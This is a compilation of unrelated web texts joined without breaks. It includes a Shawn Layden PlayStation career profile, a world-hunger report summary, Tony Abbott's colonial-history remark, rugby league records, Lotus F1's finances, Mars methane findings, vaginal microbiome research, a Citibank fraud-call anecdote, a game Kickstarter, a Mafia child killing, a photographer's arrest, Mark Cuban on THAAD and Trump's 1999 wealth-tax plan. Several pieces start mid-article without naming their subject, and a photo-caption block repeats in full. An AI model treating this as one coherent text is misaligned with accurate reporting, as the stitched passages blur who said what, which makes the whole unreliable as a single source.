While Layden would go on to hold a number of important executive jobs at PlayStation in Europe, Japan and the U.S., that wasn’t really on his mind when he landed his first job with Sony. After a year abroad in Japan at the University of Tokyo, graduating from Notre Dame and then a fellowship with the Japanese Ministry of Education, Layden took his first Sony job in 1987 as a PR person dealing with the foreign press. It was just two years before he made his first big step toward gaming.
I got plucked out of the PR department and was made secretary to the chairman, who was Akio Morita, the founder of Sony. He took me in as his speechwriter and ghostwriter.
Akio Morita was, probably still is, the most famous Japanese businessman of all time. When he was chairman of Sony, I remember the Prime Minister's office had floated the idea to him that they wanted him to join the cabinet as foreign minister and he thought about it, and he came to the conclusion that “I probably have more influence as the chairman of Sony than as a Japanese foreign minister.”
He was part of The Trilateral Commission. That's how he knew Kissinger and Pete Peterson and David Rockefeller. These were all people who would come to the office at some time. I was his secretary for five years.
From there, the PlayStation.
We were hearing about it occurring. There was PlayStation with Nintendo happening, and then it wasn't happening.
But then it kind of spun up and became a thing and I happened to be close to the president of the PlayStation group at that time. One night at dinner, he asked me: “Do you want to come work for the game business?” By this time, Morita-san had a stroke so he was no longer coming to the office and I said, “But Tokanaka-san [then Sony director Teruhisa Tokanaka], I've never worked in the game business before.” He looked at me and said, “None of us have.”
Music and technology makes for good gaming
As Layden explained it, there were several different paths up through the internal machinations of Sony and Sony Computer Entertainment. One route was through the brand, hardware and platform side, an approach that was shepherded by Ken Kutaragi. Another, which Layden followed, was through the content side. He said that Akira Sato, who was the head of all software and game development, was his mentor.
He came from Sony Music.
One of the greatest things about PlayStation, when the company started in 1993 was that they created it as a joint venture between Sony Corp. and Sony Music because they had the engineering, we had the hardware prowess.
We knew how that worked, but they had no idea how you get a publisher or a developer to sign up. So they brought all of that in from Sony Music. Sales, marketing, third-party relations.
The game industry changed dramatically because of that. Until then it was just a Nintendo and Sega world. And they were kind of stodgy in their practices.
It was innovative for us that we started to put developers' names on the case. Which Nintendo and Sega never wanted to do.
We put them, bang, right there on the box. And we went at it knowing that our first-party studios could not be the leader. We couldn't have 60 percent market share. We knew that only third-parties were going to make it viable. PlayStation is the third-party platform, so everyone can come in.
Selling Japan on American games
The original PlayStation came out in 1994 and within two years, Layden was at the newly minted Sony Computer Entertainment as a producer for the international software division. He said that first job was probably his hardest.
We were bringing western games to Japan. Trying to convince the Japanese gamer that they wanted to play Jet Moto or Destruction Derby.
Talk about coals to Newcastle, right? It was really hard.
I was playing games all the time. I had a real hardcore Tekken addiction during [the PlayStation 1 days]. We played in arcades where I was living in Tokyo. But I think the real watershed game, for me anyway, was probably Tomb Raider.
I remember going to Core Design in Derby and meeting with the brothers Smith and meeting Toby Gard and trying to get them to get a license for the title, because they couldn't publish in Japan on their own. So I was out, you know, going around, trying to collect content and I just wanted that Tomb Raider title so badly and they ended up going with Sega.
Getting an offer he can’t refuse
In 1999, Layden was transferred to London where he was essentially doing the same job, but in reverse: trying to bring American and Japanese games to Europe. Struggling with localization and wondering over the need to translate the 1.5 million words found in Final Fantasy 10.
I went over there to help manage that integration of the Psygnosis operations into the SCE operations. But at some point, Tokyo calls and calls you home.
I got that fateful call in 2007. I remember standing on the train platform and Kaz Hirai on my cell phone saying, “So, Shawn, how long have you been in London again?”
Oh, you know what that call is.
“Well, we think it's time for you to come back to Japan. We want you to come back and be the president of SCE Japan.”
You can't say no to that, right?
By that time, I'd be come vice president of international software development in London and my team was still bringing a lot of content. We also had a lot of partnerships back then. We were the publisher of record for Namco. We were the publisher of record for Disney and Square. So we had a lot of, not just our internal stuff but, you know, second party stuff we were doing. So it was pretty, a pretty good business.
Sony gets an intervention
Layden’s surprise call from Kaz Hirai in 2007 with an offer he couldn’t refuse came in part, Layden said, because Sony Computer Entertainment Japan was in need of an intervention of sorts.
It needed to be, let's say, redeveloped. And, so I came into [a] shrinking company with shrinking market share and they're having trouble making PS3 successful in the marketplace.
I think they brought me in because they felt that they needed a completely new pair of eyes to look at this challenge, that anyone they had in the stack vertically was just going to perpetuate what the last guy was doing before.
That was tough.
They just couldn't get out of their own way to find success and how to get there. So we did a lot of restructuring which is not easy to do in Japan. But [we] had to move away a layer of executives in order to let the younger ones come up. We opened up some opportunity there and then in about 18 months we were back in a profitable position and doing reasonably well.
Shortening his life
After spending three years as president of Sony Computer Entertainment Japan, Layden was moved to Silicon Valley to establish Sony Network Entertainment, which was designed to “capture” all of Sony’s network activities and ambitions. Layden was still there in 2011 as chief operating officer when the PlayStation Network was hacked, becoming one of the largest data security breaches in history at the time.
It took years off my life. I remember the day.
If it had to happen to us, I'm glad it happened then. We've learned so much from that experience.
We were in as good a position as we could be at the time with what was, at the time, state of the art. But we did get hit and we have taken our capabilities in that area to the highest degree possible. So no one is complacent or, or ignorant about the dangers and the challenges that are out there but I think we are in a much better place today.
We have had our baptism by fire.
Piss, vomit and fame
In 2014, Kaz Hirai asked Layden to become the president of Sony Computer Entertainment America, taking over for Jack Tretton. The new role brought with it a degree of fame, powered by annual E3 press conferences viewed by tens of thousands of fans.
It's not something I enjoy particularly.
About four months ago, I was coming out of the Buddha Lounge up in Chinatown and some guy looks at me and goes, “You're Shawn Layden.”
Even in my own city, you know? Thank god I wasn't throwing up coming out of the Buddha Lounge, pissing on my shoes or something like that.
I don't try to think about it. But, the fame. I don't know what that means. I think there's a certain responsibility that goes with it and I'm very judicious about what I write on my Twitter feed.
I think there's a certain expectation that I should be fair-minded and open and try to be as accessible as I can to the fans who come to Playstation for a host of their own reasons.
New evidence in SOFI 2018 confirms a rise in world hunger: the number of people who suffer from hunger has been growing over the past three years, returning to levels from almost a decade ago. Multiple forms of malnutrition are evident in many countries: adult obesity is growing even as forms of undernutrition persist.
The report says that climate variability and extremes are key drivers behind this rise, together with conflict and economic downturns, and are threatening to erode and reverse gains made in ending hunger and malnutrition. SOFI 2018 reveals new challenges on the road to Zero Hunger, while setting out urgent actions needed to achieve the goal by 2030.
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“As we look around this glorious city, as we see the extraordinary development, it’s hard to think that back in 1788 it was nothing but bush and that marines and convicts and sailors…must have thought they’d come almost to the Moon,” he said at a breakfast meeting with British Prime Minister David Cameron in Sydney.
“Everything would have seemed so extraordinarily basic and raw,” he said.
On Friday, Aboriginal G20 protesters collected together to protest Aboriginal fatalities in police custody.
One protestor told Buzzfeed: “He’s kidding right, doesn’t he realize how much that offends us?”
“Abbott’s attitudes are the kind of crap that lead to the situation we’ve got at the moment. You’ve just seen why we are here today,” another said.
Social media expressed disbelief at his apparent ability to forget the country’s aboriginal history. “Wow just wow,” one Twitter user wrote.
“Tony Abbott's ‘nothing but bush’ comments appear illustrative of the value he places both on Indigenous rights & on the environment,” another wrote.
“Our Prime Minister just wrote rewrote Australian history,” said a third.
This is not the first time that Abbott has made such comments. In August, while launching a project on the 100 Defining Moments in Australian History at the National Museum of Australia, Abbott stated that “the arrival of the First Fleet was the defining moment in the history of this continent.”
“It was the moment this continent became part of the modern world,” Abbott said.
In response to Abbott's comment, the chair of the PM’s advisory panel, Warren Mundine, said at the time: “It was also a disastrous defining moment for Indigenous people.”
Since 1788, there has been a severe population decline. The forcible removal of Aboriginal children from their parents at various points has since led to the coining of the term “Stolen Generations.”
There will be no sadness from Peachey should his long-standing record tumble. The man dubbed "Peach" has enjoyed the Sharks' renaissance as much as anyone and implored Holmes to reach the milestone when they crossed paths during the recent Indigenous round. "He should be able to do something as simple as 19 tries with his ability and talent and with the way the Sharks are playing," Peachey said. "He's only going to get better. I had the opportunity of going up to the Indigenous round up in Newcastle and that might have spurred him on to have me saying 19 is not a hard tally to chase. "It has stood for a while. When you look at a club like the Dragons, they had Nathan Blacklock scoring 27 tries. That's a formidable record. But just 19, with the way the Sharks are playing, if Valentine doesn't get it this year he won't be too far away. "I'd like to see it tumble. Along with a premiership. You can get all of those individual accolades along the way, but the way Valentine is playing he should get in the mid-20s.
"That is without over-exaggerating. That's how well the Sharks are playing." Holmes may not be the only Cronulla winger on track to make history. Sosaia Feki has posted eight tries on the opposite flank, raising the prospect of both setting a new mark. "Definitely, now that our back line is starting to play awesome and Benny [Barba] is playing awesome at the back, he's getting Fek and myself good ball, it's really nice," Holmes said. "I reckon we can probably both get there if we're determined." Cronulla's victory over Manly elevated them to the top of the NRL ladder for the first time in 16 years, raising hopes of a maiden premiership. The Sharks have a 20 points better differential than the Storm, with the bye ensuring both teams retain their positions at the top of the ladder.
Lotus has finally admitted it is in talks to be bought out by Renault.
The Enstone team arrived at the Hungaroring amid a dispute with tyre supplier Pirelli, as it emerged that a $500,000 payment to the Italian marque was overdue.
“We had a problem with the bank transfer,” insisted deputy team boss Federico Gastaldi. “We are not so crazy that we will make the trip from the UK to Hungary without having the money for tyres.”
“It was just bad timing. In this situation there is a lot of talk but it’s a waste of time to have to refute all the rumours,” he is quoted by Speed Week.
Gastaldi, however, cannot deny completely that Lotus is struggling financially, as another disgruntled supplier, Xtrac, recently filed a petition to have the team wound up.
And amid it all is the persistent speculation that the team is set to be bought back by its former owner, Renault.
Gastaldi no longer denies it, “The talks are between Gerard Lopez and the executive board. But I don’t know about it in detail.
Mysterious spikes of methane that cannot easily be explained by geology or other theories have been found by an instrument on the robot, which landed on the planet in 2012. Scientists can’t be sure what is causing the spikes, but it is possible that it could be very small, bacteria-like living organisms.
If the gas is coming from living microbes then it would mark one of the biggest discoveries in history. On Earth, 95% of methane comes from microbial organisms, but there are many non-biological processes that can also generate the gas.
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Scientists have said that the rover now has to test and re-test the possibility of life, ahead of an unmanned mission in 2020 that would look for the source of the methane.
The European Space Agency’s ExoMars mission could also provide extra clues. In 2019 it will land a 300kg rover on Mars in 2019, equipped with a two-metre drill and extra equipment for investigating signs of life – although the European robot may be unable to reach the same place on the planet as the area currently being explored by Curiosity.
Previous satellite observations have detected unusual plumes of methane on the planet, but none as extraordinary as the sudden "venting" measured by Curiosity at the 96-mile wide Gale Crater, where evidence suggests water once flowed billions of years ago.
Nasa reported last year that that Gale Crater contained the remains of an ancient freshwater lake where there may have been a hospitable environment for life in the distant past.
The laboratory onboard the rover has been sniffing methane in the atmosphere a dozen times in the last 12 months. In late 2013 and early 2014, the amount of methane flared up, and then receded.
At a press conference yesterday at the American Geophysical Union's convention in San Francisco, Nasa scientists said that besides living microbes, other possible explanations for the methane include the Sun's rays degrading organic material left behind by meteors.
But that explanation, they added, still relies on the original material being deposited by an object that would have measured several metres across and left a large crater - no sign of which was visible.
The scientists said other theories, such as volcanic deposits trapped in ice called clathrates, were ruled out by the short time-scale of the spikes.
Shape Created with Sketch. In pictures: Mars Exploration Rover Show all 12 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. In pictures: Mars Exploration Rover 1/12 Mars Exploration Rover Mars Rover, Curiosity. After traveling 8 1/2 months and 352 million miles, Curiosity attempted a landing on Mars in 2012 2/12 Mars Exploration Rover A self-portrait of the Mars rover Curiosity combines dozens of exposures taken by the rover's Mars Hand Lens Imager (MAHLI) during the 177th Martian day, or sol, of Curiosity's work on the planet Mars 3/12 Mars Exploration Rover Mars Science Laboratory Curiosity rover examines a rock on Mars with a set of tools at the end of its arm, which extends about 2 meters (7 feet) 4/12 Mars Exploration Rover This image mosaic taken by the panoramic camera on board the Mars Exploration Rover Spirit shows the rover's landing site, the Columbia Memorial Station, at Gusev Crater, Mars 5/12 Mars Exploration Rover Views of the Sojourner Mars Rover and surface of Mars Ares Vallis 6/12 Mars Exploration Rover A view of Mars southwest of the rover's landing site in the Gusev Crater. The landscape shows little variation in local topography, though a narrow peak only seven to eight kilometers away is visible on the horizon. A circular depression, similar to the one dubbed Sleepy Hollow, can be seen in the foreground 7/12 Mars Exploration Rover Mars planet pathfinder vehicle on planet Mars 8/12 Mars Exploration Rover Tracks made by Curiosity's tires during its first test drive as seen by Navcam: on board NASA's Mars rover Curiosity on Sol 16 9/12 Mars Exploration Rover A little more than two weeks after its arrival on Mars, the $2.5 billion rover, which landed on Mars has performed a battery of tests and appears ready to embark on its two-year mission to explore the Red Planet in the hunt for signs of life 10/12 Mars Exploration Rover Tracks made by Curiosity's tires during its first test drive on a mission to explore the Red Planet 11/12 Mars Exploration Rover Mars rover Opportunity's robotic arm as it stretched over the surface of Mars 12/12 Mars Exploration Rover NASA's Mars Rover Spirit took the first picture from Spirit since problems with communications began a week earlier. The image shows the robotic arm extended to the rock called Adirondack Nasa 1/12 Mars Exploration Rover Mars Rover, Curiosity. After traveling 8 1/2 months and 352 million miles, Curiosity attempted a landing on Mars in 2012 2/12 Mars Exploration Rover A self-portrait of the Mars rover Curiosity combines dozens of exposures taken by the rover's Mars Hand Lens Imager (MAHLI) during the 177th Martian day, or sol, of Curiosity's work on the planet Mars 3/12 Mars Exploration Rover Mars Science Laboratory Curiosity rover examines a rock on Mars with a set of tools at the end of its arm, which extends about 2 meters (7 feet) 4/12 Mars Exploration Rover This image mosaic taken by the panoramic camera on board the Mars Exploration Rover Spirit shows the rover's landing site, the Columbia Memorial Station, at Gusev Crater, Mars 5/12 Mars Exploration Rover Views of the Sojourner Mars Rover and surface of Mars Ares Vallis 6/12 Mars Exploration Rover A view of Mars southwest of the rover's landing site in the Gusev Crater. The landscape shows little variation in local topography, though a narrow peak only seven to eight kilometers away is visible on the horizon. A circular depression, similar to the one dubbed Sleepy Hollow, can be seen in the foreground 7/12 Mars Exploration Rover Mars planet pathfinder vehicle on planet Mars 8/12 Mars Exploration Rover Tracks made by Curiosity's tires during its first test drive as seen by Navcam: on board NASA's Mars rover Curiosity on Sol 16 9/12 Mars Exploration Rover A little more than two weeks after its arrival on Mars, the $2.5 billion rover, which landed on Mars has performed a battery of tests and appears ready to embark on its two-year mission to explore the Red Planet in the hunt for signs of life 10/12 Mars Exploration Rover Tracks made by Curiosity's tires during its first test drive on a mission to explore the Red Planet 11/12 Mars Exploration Rover Mars rover Opportunity's robotic arm as it stretched over the surface of Mars 12/12 Mars Exploration Rover NASA's Mars Rover Spirit took the first picture from Spirit since problems with communications began a week earlier. The image shows the robotic arm extended to the rock called Adirondack Nasa
It found a low background level of methane that spiked by over 10 times in a period of 60 Martian days.
In four sequential measurements, Curiosity showed the methane level soaring from about 0.69 parts per billion by volume (ppbv) to 7.2 ppbv. The spikes came within 200-300 meters of each other. By the time Curiosity had travelled a further kilometre, the higher methane levels had disappeared.
Dr Chris Webster, of Nasa's Jet Propulsion Laboratory in Pasadena, California, said: "Strictly speaking, our observations are evidence for methane production on Mars, and in themselves cannot directly provide evidence of microbial life.
"However, from our positive detection of methane on Mars, we cannot rule out the possibility that both the low background level and the high methane values originate in part from microbial activity.”
He said if any more spikes were found, the team would try to look for a particular isotope - or atomic variant - of carbon in the methane that would be an indicator of biological activity.
"At this time,” added Dr Webster, “We have no idea what we will see in the future, or if we will ever see high values again."
Another discovery by Curiosity was that of water bound in the fine-grained soil within the Gale crater, which was formed by a massive meteor strike about 3.5 billion years ago.
Each cubic foot of Martian soil was found to contain around two pints of water, not freely accessible but attached to minerals.
Rover is now about to start climbing Mount Sharp, an 18,000ft-high mountain at the centre of the Gale Crater, and scientists hope that its sedimentary layers will provide tantalising snapshots of Martian history.
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Experts debate what makes a healthy vagina
News analysis New US findings suggest our accepted definition of a healthy vagina could be ethnically biased, say some researchers, but others caution against over-interpreting the data.
A new study published today in Science Translational Medicine found, what an accompanying commentary describes as, an "unexpected and astonishing" variability over time in the vaginal bacterial communities of apparently healthy women.
It is commonly accepted that a vagina with a high proportion of lactobacilli bacteria is healthy, and one with a low number is less healthy.
One common test diagnoses a condition called bacterial vaginosis (BV) on the basis of a low lactobacilli count.
But the new study questions this simple view. It examined vaginal bacteria twice a week over 16 weeks in 32 apparently healthy women of reproductive age.
It found that women differ greatly in their vaginal bacterial profiles over time. In some women the profile changes only during menstruation, while in others there was little or no change during menstruation. Still others had frequent changes that were independent of the reproductive cycle.
And the study found the vaginas of Caucasian women were more likely to be dominated by lactobacilli, than those of African-American women, some of whom could be diagnosed as having BV.
"This study ... signals the death knell of the still widely accepted statement that healthy vaginal communities must contain a high proportion of lactobacilli," write the authors of an accompanying commentary, Drs Steven Witkin and William Ledger of Weill Cornell Medical College.
"Because the earliest studies that attempted to characterise bacterial biotypes in the vagina were performed on white women, it is interesting to ponder whether the widespread acceptance of lactobacilli as being essential for a 'normal' vagina has an ethnic bias."
Caution urged
But an Australian expert in bacterial vaginosis warns against over-interpreting the findings of the new study.
Associate Professor Catriona Bradshaw, of the University of Melbourne and The Alfred Hospital, describes the study as "really important" because it shows the variability in vaginal bacterial communities in women over time and the influence of factors such as menses and sex.
But, says Bradshaw, there is a lot of data to show the acidic environment produced by lactobacilli is protective against BV. She says BV is linked to an increased risk of acquiring HIV and sexually transmissable infections, and having a premature baby and miscarriage.
Bradshaw says the new study is too short to say whether the women whose bacterial flora is less likely to be dominated by lactobacilli are also protected from these negative outcomes in the long term.
She says in the US, 1 in 3, mainly African-American and Hispanic, women are diagnosed with BV and this could reflect those groups' poor access to healthcare. By contrast, she says, the rate of diagnosis in Australia is 1 in 10.
Nevertheless, says Bradshaw, 50 per cent of women with a BV diagnosis don't have any symptoms of an abnormal discharge or odour, and it is fair to question whether all these women are indeed unhealthy.
What is 'normal'?
One of the authors of the new study, microbial ecologist Professor Larry Forney, of the University of Idaho agrees that socio-economic factors could explain the differences in ethnic groups.
He also agrees it's not clear what the health outcomes of the women with low lactobacilli numbers will be in the long term.
But, says Forney, the fact that women can make transitions between different bacterial profiles so often raises questions over what should be regarded as normal.
High proportions of lactobacilli may be associated with healthy vaginas, but Forney says it would be a "logical fallacy" to assume the absence of high levels of lactobacilli means a woman is unhealthy.
He says vaginal acidity can be preserved despite a changing bacterial profile because lactic acid is produced by species other than lactobacilli.
Talking vaginas
One thing everyone seems agreed on: vaginal bacterial flora is less stable and more varied that traditionally thought.
And we have to be very careful about drawing conclusions on the health of a woman's vagina by a test at a single point in time.
Forney and colleagues' research emphasises the complexity of the problem as researchers strive to understand what triggers fluctuations in the vagina's flora and what kind of fluctuations can lead to problematic BV.
And then there's the question of how to treat BV symptoms.
While antibiotics are used they often don't work and there is insufficient evidence to support the effectiveness of such things as probiotics and yoghurt douches, says Bradshaw.
The challenge for researchers is even greater, says Forney, because women are reluctant to talk about the issue - with each other, to their partners or even their doctors.
In that situation, their fraud department would call from an unverifiable number, potentially leaving a voicemail for you, asking you to call them back at an arbitrary unverifiable phone number, where they immediately ask for your account details to verify a transaction. As far as I know they still continue that asinine behavior.
Today, I got a new one: Citibank called to verify a transaction (presumably a large-ish payment I made to a new payee using online bill pay), and the caller asked me to verify receipt of an SMS message (“for security reasons”) by reading him the numeric code it contains, in order to verify they are in fact speaking to me. I told him that I received the message, but I was not comfortable giving him the code, as I could not verify who he is. I explained that he could just as easily be trying to e.g. gain control of my account and needing the verification code to complete a password reset or similar (social engineering me). I told him I would call the number printed on the back of my card, and asked him how to get back to him when doing so. He said he would leave a note on my account.
Of course, when I called back and authenticated to the agent, the agent tried to internally transfer me to the number left in the note (the fraud department), but instead got a message saying the department was closed (open only until 6pm Eastern time) despite someone from that department calling me literally 1 minute prior. It took the customer service agent tracking down the specific employee who left the note, and messaging him, to get me transferred to his personal extension, since going through the department extension wouldn’t work. In the end, it was in fact Citibank’s fraud department calling me, we verified the transaction they wanted to verify, and everything is cool on that end.
Please note that the assets in the above videos are place-holders.
Freebooter is a single player open world game set in a fantasy pirate world. Like barnacles on the hull of a ship, the world of Freebooter is dotted with islands. The only way to travel is by ship, all trade is done in harbors and wars are fought as much for the sea as for the land.
Every time you start a new game, we create a new world for the player to explore. New islands are placed, complete with natural resources and settlements. These settlements may be independent or they may belong to a faction. The factions themselves are also procedurally generated, with their own colours, territory and characteristics.
Freebooter is all about giving the player the freedom to explore this world - we just provide a starting ship and the opportunities. You are never really locked into a role when you play Freebooter. For example, even if you have been trading for a long time, there is nothing to stop you from exchanging your merchant ship for a battleship and doing a bit of pirating or fighting a war.
Naval combat in the world of Freebooter is an intense affair. Battleships vie for position, seeking shelter from the enemies’ broadsides and a clear shot for their own. Battles take a toll on the ship, leaving sails torn to shreds, hulls splintered and gun ports bellowing smoke and fire. The Captain is at the centre of the engagement, shouting orders and hearing the crews reports of failing equipment and approaching enemies. In the end, a ship may raise the white flag and it will be left to the victor to accept - or to condemn them to the depths.
The life of a merchant in Freebooter is perhaps less grim but no less challenging. The economy of Freebooter is driven by a supply and demand simulation. If an island is not getting the food its population needs, food will be traded at a higher price or if food is abundant, it will be traded at a lower price. A player looking to trade will do well to make note of the market on the islands he visits and try to match a supply with a demand. Of course, knowing where to buy and where to sell is about more than just prices - a chance encounter with a pirate, a rival merchant or a faction embargoing trade at your would-be destination can all turn a healthy profit into a significant loss.
Huge procedurally generated world.
Open world gameplay allowing for many playstyles.
Diverse factions vying for control.
Dynamically generated quests.
Intense and strategic naval combat.
In-depth trading and economy simulation.
Dynamic weather and day/night cycle, which affects your journey.
Extend your command from a single ship to a fleet.
Outfit your ship to your preferred play-style.
Crewmembers provide you with useful information.
All reward tiers include lower tiers!
£7 - One digital copy of Freebooter and the Trailer Soundtrack, claimable once the game is released!
£15 - Art PDF - a digital artbook!
£25 - An ugly digital “thank you” sketch signed by the team!
£40 - Access to the alpha of Freebooter and a chance to see the game evolve! You will be listed as an Alpha tester in the credits!
£125 - Your name will be added to the list of names NPCs can have in the game and listed in the credits!
£250 - A portrait of you will be available as a crew member in the game, and your name will be shown in the credits next to that portrait!
£1000 - Design a ship for Freebooter in collaboration with the team!
Art-PDF - A digital art book with a showcase of all the best art from Freebooter.
Ugly digital ‘thank you’ sketch - A unique doodle made for you by one of the developers and signed by the entire team!
A portrait of you - A portrait based on your likeness, which will be used for the game’s crew system.
Please note that the art style demonstrated in the above portrait is subject to change.
Design a ship for Freebooter in collaboration with the team - Work together with the team to design a ship for Freebooter - The resulting ship will be featured in the game!
Freebooter is still early in development and we have a lot of work to do before the game is playable. We have made early versions of most features which the final game will be based on. Currently we are refining the naval combat system and working on the art style as well as the economy simulation. These will be covered in detail in upcoming Kickstarter updates.
Tribunal Games consists of three friends. Nissanthen does all of the art while Johannes and Jakob do the coding - everything else, like game design and business decisions, we handle together.
When we were at university we started talking about the possibility of making computer games together. Following graduation we started making small games as a spare time activity. In 2011 we got the idea for Freebooter and started spending the majority of our free time working on it. In 2012 we decided to make Freebooter our full time occupation.
So far we have made an early version of the game to test the main features. The gameplay that did not work in the early version needs to be redesigned, reimplemented and tested.
Freebooter is a fairly ambitious game and to make it, we will need to work on it for almost a year going forth. Therefore almost all of the money will go straight into development. There are a few other expenses we have to cover: in addition to buying Unity3D licenses, we will need to consult an accountant and possibly a lawyer to help us set up everything legally.
All the money raised in the Kickstarter will go towards the development of Freebooter. If we manage to raise more than the set goal, we will discuss what direction to take the game in with our players.
The boy, Nicola “Coco” Campolongo, age 3, was shot along with his grandfather, Giuseppe Iannicelli, and his grandfather’s companion, age 27, CNN reported. Their bodies were recently found inside a burned-out Fiat that was parked in the Calabria region of Italy.
“In all my years investigating organized crime murders, none has been as horrific as this one,” said lead prosecutor Franco Giacomantonio, to CNN. “it is unimaginable that a child can be made to pay for the crimes of his parents.”
Even Pope Francis was taken off guard by the hit, and he asked church faithful attending his Sunday ceremonies to say a prayer for the boy in what he called an “unprecedented” killing. The pope also called for the killers to repent, CNN reported.
The boy’s mother, Antonia Iannicelli, didn’t go to his funeral. She’s in jail, serving out a four-year sentence for drug possession and sales. Police believe that the ‘Ndrangheta crime organization is targeting her family and they’ve moved her other two children, ages 4 and 5, to a more secure location, CNN reported.
Although Mohora was only briefly detained he pushed the issue and worked with the ACLU to get an $8,000 settlement for his arrest. The two officers involved in the incident James Pitts and David Toner, pictured above, were discilplined with written reprimands for a lack of professionalism and poor exercise of discretion.
Photography, even of the police, is not a crime. Think about this the next time a cop tells you that you cannot take a photograph. The police should know better than this and I’m glad that Mohara is $8,000 richer after being harrased by them.
The sad thing is that the police get away with telling photographers not to shoot probably 99% of the time. It’s only when photographers really push the issue and insist on their First Ammendment rights that we see this stuff in the press.
More from the Seattle Times here. And more from the Seattle PI here.
Thanks CJ for the heads up!
On Boing Boing here.
Update. Officer David Toner responds:
“Hello, I just came across this web site while looking for something else and read the comments about Mahora’s incident. I am the officer that arrested Mahora. I have seen a lot of negative comments concerning this arrest and wanted to give you my perspective. First of all I would like to say that not one single person has contacted me about my side of this arrest. Not the press, not the ACLU, and not one single individual. All of the results of this have been based on Mahora’s less that honest and rather self serving retelling of the arrest.
First off, Mahaora has every right to photograph police officers while doing their everday work. Some exceptions apply but not in this case. There were outside circumstances that caused this arrest to become more dangerous to both the officers and the two men being contacted. The fact that Mahora was taking pictures of the event was not in and of itself an issue. I get photographed doing my job more often than you’d think and have no problem with it. The problem arose when Mahora got too close to us to take his pictures. I had asked him to move back and he did. Eventually he got close in again and was again instructed to step back a short distance. Again he complied. The third time became a serious officer safety situation when my partner was handcuffing a compliant suspect and I was seated in my car several feet away. I looked back to make sure my partner was under control with his suspect and there was Mahaora standing right next to me blocking my exit out if needed, taking a close up of my face. At this time I saw that my partner was fine and then placed Mahora under arrest for hindering.
Many other parts of Mahora’s story were inaccurate and sometimes out and out lies but they do not address this particular topic so I won’t go into them. Suffice is to say that this was not an issue about trying to suppress anyones constitutional rights but one of keeping two police officers safe while trying to do their job.
During a recent interview with Business Insider, the owner of the NBA's Dallas Mavericks and star of ABC's "Shark Tank" said, if he worked in media, he'd try to "stop competing" in the same "marketplace" as outlets asking the same questions on five or 10 subjects that dominate the election coverage.
"I want to be the outlet that asks the questions the other outlets don't," he said. "And the worst part is, they're all trying to, you know, keep things balanced. So they're going to have a Trump surrogate and a Clinton surrogate that are so well practiced these days at deflecting because the media's just got to, you know, get to their next segment, so there's no opportunity to punch back. And, it makes news so ineffective."
"It's super frustrating for me because you know there are so many more important issues that have not been covered," he continued.
He pointed to one subject in particular after mentioning the "many more important issues" he wished were covered: THAAD, which stands for the Terminal High Altitude Area Defense. It's an anti-ballistic missile system.
Mark Cuban_10 More
THAAD was, to some controversy in the Asia-Pacific region, deployed in South Korea in early July in what National Security Advisor Susan Rice called an "alliance decision" that was made "directly in response to the threat posed by North Korea in its nuclear and missile programs."
"It is purely a defensive measure," she said.
But the Chinese government was not pleased with the US deployment of the missile defense system, claiming that the decision "undermined the foundations of trust between the two countries."
It's "one of the most important things right now," Cuban said. "It's political, it's economic, it has to do with safety, and, you know, potential for war. It checks all of the top buttons, all of the top items, that we need to be concerned about. But no one has even brought it up."
"But it's the perfect question to ask both candidates," he continued. "It defies the nature of being president. There's just so many things — there's not a sequence where you just prioritize what you do in the presidency. So it's not just terrorism, it's not just jobs, it's non-stop, and it changes every day. And, THAAD impacts [the Trans-Pacific Partnership], it impacts so many different things. How you deal with NATO. All these different things. And yet, no one's even asked the question."
Cuban said the reason why the subject hasn't been breached is because the media thinks "American citizens aren't going to be" interested.
And as for the candidates addressing the topic on their own, Cuban said they've got no reason to "approach a new topic."
"You know, Hillary's is afraid of looking too smart these days because she doesn't want to condescend to the undecideds," he said. "It's like everything's been dumbed down."
Cuban endorsed Democratic nominee Hillary Clinton at a rally in Pittsburgh, his hometown, in July. Earlier in the cycle, Cuban was more enthralled with the idea of a Trump presidency and had expressed interest in serving as either Trump or Clinton's vice president before eventually souring on the Republican nominee's candidacy.
NOW WATCH: Trump strikes back after 'Morning Joe' host says he sounded like 'he's had a lot to drink'
More From Business Insider
In classic Trump fashion, the plan was big and bold. If enacted, Trump's plan would have been biggest tax hike, in total raw dollars, in history. In a word, it would have been huge.
The year was 1999 and Trump was toying with the idea of running for President as a third party candidate. The idea, which Trump says he no longer supports, was to impose a one-time tax of 14.25 percent on every American worth more than $10 million and raise exactly enough money to pay off the debt.
Trump himself would have had to pay more than $700 million. But he didn't care. He calculated his plan would erase the entire national debt and save the government millions in interest payments, allowing tax cuts for everybody else.
Here's how Trump described the plan on "Good Morning America" on Nov. 10, 1999:
"Well, basically, this would be a one-time tax, 14.25 percent against people with a net worth of over 10 million," Trump said. "It would pay off in its entirety the national debt of $5.7 trillion, and you'd save $200 billion a year. So taxes for the middle class would go way down, the estate and inheritance tax totally wiped out, and the Social Security system would be saved."
In a screaming front page headline that same day, the New York Daily News featured a photograph of Mr. Trump with the words, “SOAK THE RICH: Trump's way-out plan to end nat'l debt...Proposes one-shot $5.7 trillion tax on the super-wealthy.”
Trump also wrote about the plan in his 2000 book "The America We Deserve" as "bold, radical, realistic, and doable."
“Some will say that my plan is unfair to the extremely wealthy," Trump wrote. "I say it is only reasonable to shift the burden to those most able to pay.”
He portrayed tax hikes on the rich as a patriotic.
“Most of the truly wealthy people I know – and I know many – have doubled their net worth in the last few years," Trump wrote. "Yes, I believe we have an obligation to pay. Taxes represent the cost of freedom and its defense. It is a small price.”
In a precursor to the Occupy Wall Street movement, Trump argued that that soaking the Top 1 percent is only fair.
“The rich will scream," Trump wrote. "Only the top 1 percent of people – those with a net worth of $10 million or more – would be affected by my plan. The other 99 percent would get deep reductions in their federal income taxes.”
In the 1999 interview, Trump was asked about those who would not have the cash to pay the tax because their wealth is tied up in investments such as real estate or stocks.
"It's a very fair question and very good question that's been thought of in great detail. Some people would be able to sell things off, easily pay the tax," Trump said. "They sell off assets, you'd sell off assets."
Impractical? The former Labor Secretary Robert Reich, who is less than 5 feet tall, told "Good Morning America" immediately after Trump's 1999 interview that the plan would have as much as chance of passing Congress as he would getting recruited to play basketball for the New York Knicks.
Trump acknowledged it would be tough to pass -- for anybody except for him.
"If I were president, it would be passed. I think if somebody else is president, it probably can't be," he said in the "Good Morning America" interview. "This is a tax paid by 1 percent, but the 1 percent will be very big beneficiaries with what's going to happen and the positive forces that would take place in the economy."
